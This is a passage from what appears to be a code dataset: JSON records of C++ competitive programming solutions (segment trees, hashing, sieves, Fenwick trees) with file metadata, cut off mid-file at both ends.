{\r\n\t\tc[i][0] = c[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tc[i][j] = c[i - 1][j - 1] + c[i - 1][j];\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> cas >> n >> k;\r\n\t\tunsigned long long ans = 0;\r\n\t\tif (k == 1) {\r\n\t\t\tcout << cas << \" \" << f[n - 1] << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int x = 0; x + 2 <= k; x++) {\r\n\t\t\tans += c[k - 2][x] * f[x + 2 - 1] * f[n - (x + 2)];\r\n\t\t}\r\n\t\tcout << cas << \" \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41654878854751587, "alphanum_fraction": 0.44130128622055054, "avg_line_length": 16.85333251953125, "blob_id": "18efaa7b54d5c49668e120f21693fa644a7919af", "content_id": "f3e1def78fa1aa23c8f3e8046b7f69f31c02a918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1414, "license_type": "no_license", "max_line_length": 53, "num_lines": 75, "path": "/COJ/eliogovea-cojAC/eliogovea-p2372-Accepted-s660213.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int MAXN = 200005;\r\nconst LL base = 26, mod = 200003;\r\n\r\nint N;\r\nchar s[MAXN];\r\nint used[mod], id;\r\nvector<int> M[mod];\r\n\r\nLL POW[MAXN], HASH[MAXN];\r\n\r\ninline LL getHash(int lo, int hi) {\r\n\tLL r = HASH[hi];\r\n\tif (lo > 0) r -= HASH[lo - 1];\r\n\tif (r < 0) r += mod;\r\n\tr = (r * POW[N - 1 - hi]) % mod;\r\n\treturn r;\r\n}\r\n\r\nbool check(int l) {\r\n\tfor (int i = l - 1; i < N; i++) {\r\n\t\tLL tmp = getHash(i - l + 1, i);\r\n\t\tif (used[tmp] == id) {\r\n\t\t\tbool esta = false;\r\n\t\t\tfor (int j = 0; j < M[tmp].size(); j++) {\r\n\t\t\t\tbool ok = true;\r\n\t\t\t\tint x = M[tmp][j];\r\n\t\t\t\tfor (int k = 0; k < l; k++)\r\n\t\t\t\t\tif (s[i - l + 1 + k] != s[x + k]) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\tif (ok) {\r\n\t\t\t\t\testa = true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (esta) return true;\r\n\t\t}\r\n\t\tM[tmp].clear();\r\n\t\tused[tmp] = id;\r\n\t\tM[tmp].push_back(i - l + 1);\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\r\n scanf(\"%d%s\", &N, &s);\r\n\r\n\tPOW[0] = 1;\r\n\tfor (int i = 1; i < N; i++)\r\n\t\tPOW[i] = (POW[i - 1] * base) % mod;\r\n\tfor (int i = 0; i < N; i++) {\r\n\t\tHASH[i] = (POW[i] * (s[i] - 'a')) % mod;\r\n\t\tif (i > 0) HASH[i] = (HASH[i] + HASH[i - 1]) % mod;\r\n\t}\r\n\r\n\tint lo = 0, hi = N, mid;\r\n\twhile (lo + 1 < hi) {\r\n\t\tid++;\r\n\t\tint mid = (lo + hi + 1) >> 1;\r\n\t\tif (check(mid)) lo = mid;\r\n\t\telse hi = mid;\r\n\t}\r\n\tprintf(\"%d\\n\", lo);\r\n}\r\n" }, { "alpha_fraction": 0.3918495178222656, "alphanum_fraction": 0.4216300845146179, "avg_line_length": 20.266666412353516, "blob_id": "965713a9bcc2c5f7c3c335804b10a16bf5aedec8", "content_id": "0e34492850030c77ad864abeeab3166a426f5e0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 638, "license_type": "no_license", "max_line_length": 56, "num_lines": 30, "path": "/Codeforces-Gym/100792 - 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100792A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n int b;\n cin >> b;\n b--;\n vector <int> ans;\n for (int i = 1; i * i <= b; i++) {\n if (b % i == 0) {\n ans.push_back(i);\n if (i * i != b) {\n ans.push_back(b / i);\n }\n }\n }\n sort(ans.begin(), ans.end());\n for (int i = 0; i < ans.size(); i++) {\n cout << ans[i];\n if (i + 1 < ans.size()) cout << \" \";\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.36951589584350586, "alphanum_fraction": 0.38388803601264954, "avg_line_length": 16.744966506958008, "blob_id": "2cc4fbbe733267bfaa6fba0a8b2afb6a6b120306", "content_id": "2e8b38b8b0b0b93eedcb00817d305f159be148c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2644, "license_type": "no_license", "max_line_length": 69, "num_lines": 149, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/E2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node;\ntypedef node* pnode;\n\nstruct node{\n int v;\n pnode ls, rs;\n\n node( int v ){\n this->v = v;\n ls = rs = NULL;\n }\n};\n\nconst int MAXN = 100100;\n\npnode roots[MAXN];\n\nvoid build_st( pnode &root, int l, int r ){\n root = new node( 0 );\n\n if( l == r ){\n root->v = 0;\n return;\n }\n\n int mid = ( l + r ) / 2;\n\n build_st( root->ls , l , mid );\n build_st( root->rs , mid+1 , r );\n}\n\nint sum( pnode t ){\n if( t == NULL ){\n return 0;\n }\n\n return t->v;\n}\n\npnode new_version( pnode t, int l, int r, int pos, int v ){\n pnode clone = new node( t->v );\n\n if( l == r ){\n clone->v = v;\n return clone;\n }\n\n int mid = ( l + r ) / 2;\n\n if( mid < pos ){\n clone->ls = t->ls;\n clone->rs = new_version( t->rs , mid+1 , r , pos , v );\n }\n else{\n clone->rs = t->rs;\n clone->ls = new_version( t->ls , l , mid , pos , v );\n }\n\n clone->v = sum( clone->ls ) + sum( clone->rs );\n return clone;\n}\n\nint get_v( pnode t , int l, int r, int lq, int rq ){\n if( t == NULL ){\n return 0;\n }\n\n if( l > rq || r < lq ){\n return 0;\n }\n\n if( lq <= l && r <= rq ){\n return t->v;\n }\n\n int mid = ( l + r ) / 2;\n\n return get_v( t->ls , l , mid , lq , rq ) +\n get_v( t->rs , mid+1 , r , lq , rq );\n}\n\nint last[MAXN];\n\nvoid print_st( pnode t , int l, int r ){\n if( t == NULL ){\n return;\n }\n\n if( l == r ){\n cerr << t->v << ' ';\n return;\n }\n\n int mid = ( l + r ) / 2;\n\n print_st( t->ls , l , mid );\n print_st( t->rs , mid+1 , r );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n build_st( roots[0] , 1 , n );\n\n for( int i = 1; i <= n; i++ ){\n int x; cin >> x;\n roots[i] = new_version( roots[i-1] , 1 , n , i , 1 );\n if( last[x] ){\n roots[i] = new_version( roots[i] , 1 , n , last[x] , 0 );\n }\n\n last[x] = i;\n }\n\n int q; cin >> q;\n int p = 0;\n for( int i = 1; i <= q; i++ ){\n int x, y; cin >> x >> y;\n int l = ( (x + p) % n ) + 1;\n int k = ( (y + p) % m ) + 1;\n\n int r = 0;\n int ini = l, fin = n;\n while( ini <= fin ){\n int mid = ( ini + fin ) / 2;\n\n if( get_v( roots[mid] , 1 , n , l , mid ) >= k ){\n r = mid;\n fin = mid-1;\n }\n else{\n ini = mid+1;\n }\n }\n\n p = r;\n\n cout << r << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.43468594551086426, "alphanum_fraction": 0.4580322504043579, "avg_line_length": 22.310810089111328, "blob_id": "3eb7052c704c9e6af324d594de65391761381f5f", "content_id": "0e1695173f94342f6fcf7130d686c4223b3105a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1799, "license_type": "no_license", "max_line_length": 88, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p1309-Accepted-s651464.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n#include <vector>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nint tc, m, size;\r\nstring line, aux;\r\nvector<int> T;\r\nvector<char> lazy;\r\n\r\nvoid resize(int size) {\r\n\tint tmp = 1 << (1 + (int)log2(size));\r\n\tT.clear();\r\n\tT.resize(tmp);\r\n\tlazy.clear();\r\n\tlazy.resize(tmp);\r\n}\r\n\r\nint build(int idx, int l, int r) {\r\n\tif (l == r) return T[idx] = line[l] - '0';\r\n\tint ls = idx << 1, rs = ls + 1, mid = (l + r) >> 1;\r\n\treturn T[idx] = build(ls, l, mid) + build(rs, mid + 1, r);\r\n}\r\n\r\nvoid update(int idx, int l, int r, int ul, int ur, char typ) {\r\n\tif (l > ur || r < ul) return;\r\n\tif (l >= ul && r <= ur) {\r\n\t\tif (typ == 'F') T[idx] = r - l + 1;\r\n\t\telse if (typ == 'E') T[idx] = 0;\r\n\t\telse if (typ == 'I') T[idx] = r - l + 1 - T[idx];\r\n\t}\r\n\tif (l == r) return;\r\n\tupdate(idx << 1, l, (l + r) >> 1, ul, ur, typ);\r\n\tupdate((idx << 1) | 1, 1 + ((l + r) >> 1), r, ul, ur, typ);\r\n\tT[idx] = T[idx << 1] + T[1 + (idx << 1)];\r\n}\r\n\r\nint query(int idx, int l, int r, int ql, int qr) {\r\n\tif (l > qr || r < ql) return 0;\r\n\tif (l >= ql && r <= qr) return T[idx];\r\n\treturn query(idx << 1, l, (l + r) >> 1, ql, qr) +\r\n\t\tquery((idx << 1) | 1, 1 + ((l + r) >> 1), r, ql, qr);\r\n}\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\tcin >> tc;\r\n\tint cas = 1;\r\n\twhile (tc--) {\r\n cout << \"Case \" << cas++ << \":\\n\";\r\n\t\tcin >> m;\r\n\t\tline.clear();\r\n\t\twhile (m--) {\r\n\t\t\tint tmp;\r\n\t\t\tcin >> tmp >> aux;\r\n\t\t\twhile(tmp--) line += aux;\r\n\t\t}\r\n\t\tint size = line.size();\r\n\t\tresize(size);\r\n\r\n\t\tbuild(1, 0, size - 1);\r\n\t\tcin >> m;\r\n\t\tfor (int i = 1, x, y; m--;) {\r\n\t\t\tcin >> aux >> x >> y;\r\n\t\t\tif (aux[0] == 'S') cout << \"Q\" << i++ << \": \" << query(1, 0, size - 1, x, y) << \"\\n\";\r\n\t\t\telse update(1, 0, size - 1, x, y, aux[0]);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.465753436088562, "alphanum_fraction": 0.49200913310050964, "avg_line_length": 14.222222328186035, "blob_id": "0010b86dbf51263db7c92165d479df8735ee3063", "content_id": "128753d024eb0448159a67e85c4080bbe099edc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 876, "license_type": "no_license", "max_line_length": 35, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p3523-Accepted-s913228.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 998244353;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nint power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int INV2 = power(2, MOD - 2);\r\nconst int INV4 = power(4, MOD - 2);\r\n\r\nint solve(long long n) {\r\n\tint x = n % MOD;\r\n\tint y = x;\r\n\tint res = MOD - mul(x, INV2);\r\n\ty = mul(y, x);\r\n\tadd(res, MOD - mul(y, INV4));\r\n\ty = mul(y, x);\r\n\tadd(res, mul(y, INV2));\r\n\ty = mul(y, x);\r\n\tadd(res, mul(y, INV4));\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tlong long n;\r\n\twhile (cin >> n) {\r\n\t\tcout << solve(n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42953020334243774, "alphanum_fraction": 0.468120813369751, "avg_line_length": 17.225807189941406, "blob_id": "f667a9495a6fb421ba828135239368562d39dcfc", "content_id": "f048bcf7fca1bcaeaf6f84933cd72d640f7d747b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 596, "license_type": "no_license", "max_line_length": 62, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2875-Accepted-s618088.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 5000;\r\nconst ll mod = 1000000007;\r\n\r\nint tc, n;\r\nll dp[MAXN +10];\r\n\r\nint main() {\r\n dp[1] = dp[2] = 1;\r\n for (int i = 3; i <= MAXN; i++) {\r\n for (int j = 1; j < i; j++)\r\n dp[i] = (dp[i] + (dp[j] * dp[i - j]) % mod) % mod;\r\n }\r\n scanf(\"%d\", &tc);\r\n while (tc--) {\r\n scanf(\"%d\", &n);\r\n if (n == 1) printf(\"0\\n\");\r\n else printf(\"%lld\\n\", dp[n]);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3802177906036377, "alphanum_fraction": 0.42377495765686035, "avg_line_length": 21.489795684814453, "blob_id": "af25f21d1b29e1343b17d4c362337a3b2b3d3a4f", "content_id": "3428abd01d3fdd2e015da57c09060b9167ae9fca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1102, "license_type": "no_license", "max_line_length": 58, "num_lines": 49, "path": "/Codeforces-Gym/100109 - 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100109L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline int calc(int t, int t1, int t2) {\n return t / t1 + t / t2;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n freopen(\"input.txt\",\"r\",stdin);\n freopen(\"output.txt\",\"w\",stdout);\n\n int n, t1, t2;\n cin >> n >> t1 >> t2;\n int lo = 1;\n int hi = 1;\n while (calc(hi, t1, t2) < n) {\n hi <<= 1;\n }\n int anst = hi;\n int ansc = calc(hi, t1, t2);\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n int cnt = calc(mid, t1, t2);\n if (cnt >= n) {\n anst = mid;\n ansc = cnt;\n hi = mid - 1;\n } else {\n lo = mid + 1;\n }\n }\n //cerr << ansc << \" \" << anst << \"\\n\";\n if (anst % t1 != 0 && anst % t2 == 0) {\n anst = anst + (t1 - (anst % t1));\n ansc++;\n } else if (anst % t1 == 0 && anst % t2 != 0) {\n anst = anst + (t2 - (anst % t2));\n ansc++;\n }\n cout << ansc << \" \" << anst << \"\\n\";\n}\n" }, { "alpha_fraction": 0.35258498787879944, "alphanum_fraction": 0.38751745223999023, "avg_line_length": 17.669565200805664, "blob_id": "1ca6ab8ff8f0fd3a15159097b48ce58493d15767", "content_id": "ccb1cb1f5466268dff1f6ec5580784c2e1a102ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2147, "license_type": "no_license", "max_line_length": 63, "num_lines": 115, "path": "/Codeforces-Gym/100861 - 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100861I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXX = 10005;\nconst int MAXN = 1010;\n\nint x1[MAXN], y1[MAXN], x2[MAXN], y2[MAXN];\n\nvector<int> inix[MAXX];\nvector<int> iniy[MAXX];\n\nint sol[MAXX];\n\nbool solv( int len, vector<int> *ini, int *L, int z1, int z2 ){\n if( z1 == z2 ){\n return false;\n }\n\n fill( sol , sol + len + 1 , 0 );\n\n if( z1 > z2 ){\n swap(z1 , z2);\n }\n\n int z = 0;\n\n for( int i = 1; i <= len; i++ ){\n for( int j = 0; j < ini[i].size(); j++ ){\n int id = ini[i][j];\n int l = L[id];\n\n if( l < z ){\n continue;\n }\n\n if( l == 0 || sol[l] > 0 ){\n sol[i] = id;\n break;\n }\n }\n\n if( i >= z1 ){\n z = z1;\n }\n if( i >= z2 ){\n z = z2;\n }\n }\n\n return sol[len];\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int X, Y; cin >> X >> Y;\n\n int n; cin >> n;\n\n for( int i = 1; i <= n; i++ ){\n cin >> x1[i] >> y1[i] >> x2[i] >> y2[i];\n\n inix[ x2[i] ].push_back( i );\n iniy[ y2[i] ].push_back( i );\n }\n\n int a, b; cin >> a >> b;\n\n inix[ x2[a] ].clear();\n iniy[ y2[a] ].clear();\n inix[ x2[b] ].clear();\n iniy[ y2[b] ].clear();\n\n inix[ x2[a] ].push_back( a );\n iniy[ y2[a] ].push_back( a );\n inix[ x2[b] ].push_back( b );\n iniy[ y2[b] ].push_back( b );\n\n int len = 0;\n int *L;\n\n if( solv( X , inix , x1 , x2[a] , x2[b] ) ){\n len = X;\n L = x1;\n }\n else if( solv( Y , iniy , y1 , y2[a] , y2[b] ) ){\n len = Y;\n L = y1;\n }\n\n if( !len ){\n cout << \"-1\\n\";\n }\n else{\n vector<int> ans;\n while( len ){\n ans.push_back( sol[len] );\n len = L[ sol[len] ];\n }\n\n reverse( ans.begin() , ans.end() );\n\n cout << ans.size() << '\\n';\n for( int i = 0; i < ans.size(); i++ ){\n cout << ans[i] << \" \\n\"[i+1==ans.size()];\n }\n }\n}\n" }, { "alpha_fraction": 0.43204420804977417, "alphanum_fraction": 0.47292816638946533, "avg_line_length": 20.625, "blob_id": "8094b9d20058ebfb24e39900ff5cdb885a5b16f6", "content_id": "610496aa1bb3e6a668aa13061500299ddb4204b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 905, "license_type": "no_license", "max_line_length": 68, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p1499-Accepted-s495327.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<vector>\r\n#include<cmath>\r\n#include<iostream>\r\nusing namespace std;\r\n\r\nint n;\r\nconst int MAX=40000;\r\ntypedef unsigned long long ll;\r\nbool sieve[MAX];\r\nvector<ll>a;\r\nvector<ll>b;\r\nvector<ll>c;\r\n\r\nbool primo(ll n){\r\n if(n==1)return 0;\r\n if(n==2 || n==3)return 1;\r\n if(n%2==0)return 0;\r\n for(ll i=3; i*i<=n; i+=2)\r\n if(n%i==0)return 0;\r\n return 1;\r\n }\r\n\r\nint main(){\r\n for(int i=2; i<=MAX; i++)sieve[i]=1;\r\n \r\n for(int i=2; i*i<=MAX; i++)\r\n if(sieve[i])for(int j=i*i; j<=MAX; j+=i)sieve[j]=0;\r\n \r\n for(int i=2; i<=MAX; i++)if(sieve[i])a.push_back(i);\r\n \r\n for(int i=0; i<a.size()-1; i+=2)\r\n b.push_back(pow(10.0,(int)log10(a[i+1])+1)*a[i]+a[i+1]);\r\n\r\n for(int i=0; i<b.size(); i++)\r\n if(primo(b[i]))c.push_back(b[i]);\r\n \r\n cin >> n;\r\n cout << c[n-1] << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.36226415634155273, "alphanum_fraction": 0.3849056661128998, "avg_line_length": 14.825396537780762, "blob_id": "9f8ea84009434fa434e7383419812f996d3a3550", "content_id": "c0d3c231a3c27fd55a79f6504efe60d5947f4fbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1060, "license_type": "no_license", "max_line_length": 41, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p1151-Accepted-s840286.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 32000;\r\n\r\nbool criba[N + 5];\r\n\r\nvector <int> p;\r\n\r\nvector <int> fact(int n) {\r\n\tvector <int> res;\r\n\tfor (int i = 0; p[i] * p[i] <= n; i++) {\r\n\t\tif (n % p[i] == 0) {\r\n\t\t\tres.push_back(p[i]);\r\n\t\t\twhile (n % p[i] == 0) {\r\n\t\t\t\tn /= p[i];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (n > 1) {\r\n\t\tres.push_back(n);\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint t, n, a, b;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\tcriba[j] = true;\r\n\t\t}\r\n\t}\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= N; i += 2) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tp.push_back(i);\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> a >> b;\r\n\t\tvector <int> fp = fact(n);\r\n\t\tint ans = b - a + 1;\r\n\t\tint sz = fp.size();\r\n\t\tfor (int i = 1; i < (1 << sz); i++) {\r\n\t\t\tint x = 1;\r\n\t\t\tint y = 1;\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tif (i & (1 << j)) {\r\n\t\t\t\t\tx *= fp[j];\r\n\t\t\t\t\ty *= -1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tint cnt = b / x - (a - 1) / x;\r\n\t\t\tans += y * cnt;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37631580233573914, "alphanum_fraction": 0.3973684310913086, "avg_line_length": 14.52173900604248, "blob_id": "9e7c0e2fc82d486a3b6ebb026e8c53649a038307", "content_id": "d4e99a9da85cfd4e46aab7f1fbf68a9a2d099e9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1140, "license_type": "no_license", "max_line_length": 44, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p2429-Accepted-s804711.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1e6 + 5;\r\n\r\nint n, a[N], b[N], c[N];\r\n\r\nint bit[N];\r\n\r\ninline void clear() {\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tbit[i] = 0;\r\n\t}\r\n}\r\n\r\ninline void update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\ninline int query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\twhile (cin >> n && n) {\r\n\t\tclear();\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tb[i] = a[i];\r\n\t\t}\r\n\t\tsort(b, b + n);\r\n\t\tint cnt = unique(b, b + n) - b;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tc[i] = upper_bound(b, b + cnt, a[i]) - b;\r\n\t\t}\r\n\t\tdouble sum = 0.0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tupdate(c[i], 1);\r\n\t\t\tint k = 1 + (i / 2);\r\n\t\t\tint lo = 1;\r\n\t\t\tint hi = cnt;\r\n\t\t\tint pos = cnt;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint m = (lo + hi) >> 1;\r\n\t\t\t\tif (query(m) >= k) {\r\n\t\t\t\t\tpos = m;\r\n\t\t\t\t\thi = m - 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tlo = m + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tsum += b[pos - 1];\r\n\t\t}\r\n\t\tsum /= (0.0 + n);\r\n\t\tcout << fixed << sum << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3767705261707306, "alphanum_fraction": 0.399433434009552, "avg_line_length": 15.649999618530273, "blob_id": "78a36f848277b27a519ec5c930467d4dcc2d9216", "content_id": "d769a192d9bd2a804899ef2e5fc0b65c91c65877", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 353, "license_type": "no_license", "max_line_length": 47, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1132-Accepted-s484023.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\nusing namespace std;\r\n\r\nconst int MAX=500001;\r\nlong sd[MAX];\r\nint c,n;\r\n\r\nint main(){\r\n for(int i=1; i<=MAX; i++){\r\n for(int j=i; j<=MAX; j+=i)sd[j]+=i;\r\n sd[i]-=i;\r\n }\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"%d\\n\",sd[n]);\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.35797253251075745, "alphanum_fraction": 0.38437169790267944, "avg_line_length": 17.77083396911621, "blob_id": "e48a3e77f5ba531c282da6dcb6a24b704f0be23a", "content_id": "3ef7ad6ea2c719bf32a6053385d9f368ed1e180b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 947, "license_type": "no_license", "max_line_length": 78, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p3577-Accepted-s927192.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5000;\r\n\r\nlong long n;\r\nint a, b, c, d;\r\nint va[N + 5], vb[N + 5], vc[N + 5], vd[N + 5];\r\nint vcd[N * N + 5], szcd;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\twhile (cin >> n >> a >> b >> c >> d) {\r\n\t\tif (n == 0 && a == 0 && b == 0 && c == 0 && d == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tfor (int i = 0; i < a; i++) {\r\n\t\t\tcin >> va[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < b; i++) {\r\n\t\t\tcin >> vb[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tcin >> vc[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < d; i++) {\r\n\t\t\tcin >> vd[i];\r\n\t\t}\r\n\t\tszcd = 0;\r\n\t\tfor (int i = 0; i < c; i++) {\r\n\t\t\tfor (int j = 0; j < d; j++) {\r\n\t\t\t\tvcd[szcd++] = vc[i] + vd[j];\r\n\t\t\t}\r\n\t\t}\r\n\t\tsort(vcd, vcd + szcd);\r\n\t\tlong long ans = 0;\r\n\t\tfor (int i = 0; i < a; i++) {\r\n\t\t\tfor (int j = 0; j < b; j++) {\r\n\t\t\t\tans += (long long)(upper_bound(vcd, vcd + szcd, n - va[i] - vb[j]) - vcd);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n\t\r\n}" }, { "alpha_fraction": 0.3489795923233032, "alphanum_fraction": 0.37959182262420654, "avg_line_length": 15.333333015441895, "blob_id": "f2266dc235e5fd27f1eae907ae6165e77df7e05c", "content_id": "22b665e303cc1291ce3f207f153983e0a0d5fac9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 980, "license_type": "no_license", "max_line_length": 58, "num_lines": 60, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765A\n\n#include <iostream>\n#include <cstdio>\n#include 